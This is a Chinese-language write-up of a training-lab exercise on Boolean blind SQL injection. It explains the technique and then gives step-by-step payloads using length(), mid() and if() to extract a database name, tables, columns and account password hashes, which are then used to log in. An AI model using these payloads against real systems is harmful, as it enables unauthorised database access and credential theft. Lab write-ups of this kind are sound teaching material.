一.背景介绍
一位热心的网友再次向“墨者”安全工程师挑战,“墨者”工程师在注入时发现网页无回显,“墨者”工程师想了一会就注入完成拿到了key。
二.实训目标
1、掌握SQL注入原理;
2、了解MySQL的数据结构;
3、了解布尔盲注相关语句;
三.什么是布尔盲注?
1.
布尔盲注一般适用于页面没有回显字段,并且他不支持联合查询,web页面只返回正确和错误界面。
2.使用length()函数判断查询结果的长度,使用substr()函数截取每一个字符,并测试出所有的的字符长度。
四.解题步骤
1.进入通知界面,使用单引号
通过上面2个界面我们发现在用单引号的时候他页面返回错误
2.使用/1 /0 的方式判断
通过上面的对比/1为真他返回正确的界面,/0为假他返回错误的界面,结合12上面的步骤我们可以判断出注入类型为布尔盲注。
3.我们开始判断数据库的长度,使用and length(database())=? --+
通过上面2个图的比对我们知道数据的长度为10
4.接下来跑数据库名使用语句/if(mid(database(),1,1)='a',1,0)这里建议分开弄一起可能会错的
mid()截取函数,mid(database(),1,1) ='a'截取第一个字符/if (条件表达式,1,2)这个语句正确表达返回1错误返回2
先在网址哪里输入语句/if(mid(database(),1,1)='a',1,0),然后使用burp抓包
下面为添加变量
5. 然后开始爆破
得到数据库名为:stormgroup
6.得到数据库名接下来我们跑表 ,使用if((length((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'))=1),1,0)
得到表的长度为13
使用:
/if((mid((select group_concat(table_name) from information_schema.tables where table_schema='stormgroup'),1,1)='a'),1,0)
表member notice
判断列的长度:
if((length((select group_concat(column_name) from information_schema.columns where table_name='member'))=1),1,0)
得到长度为20
截取列:
/if((mid((select group_concat(column_name) from information_schema.columns where table_name='member'),1,1)='a'),1,0)
得到列的值:name password sattus
使用
/if((mid((select group_concat(name) from member),1,1)='a'),1,0)
得到账户名:mozhe mozhe
/if((mid((select group_concat(password) from member),1,1)='a'),1,0)
得到密码:3114b433dece9180717f2b7de56b28a3
67b5a98202885b2b38991003928e94f9
跑状态知道第二个密码有用
登录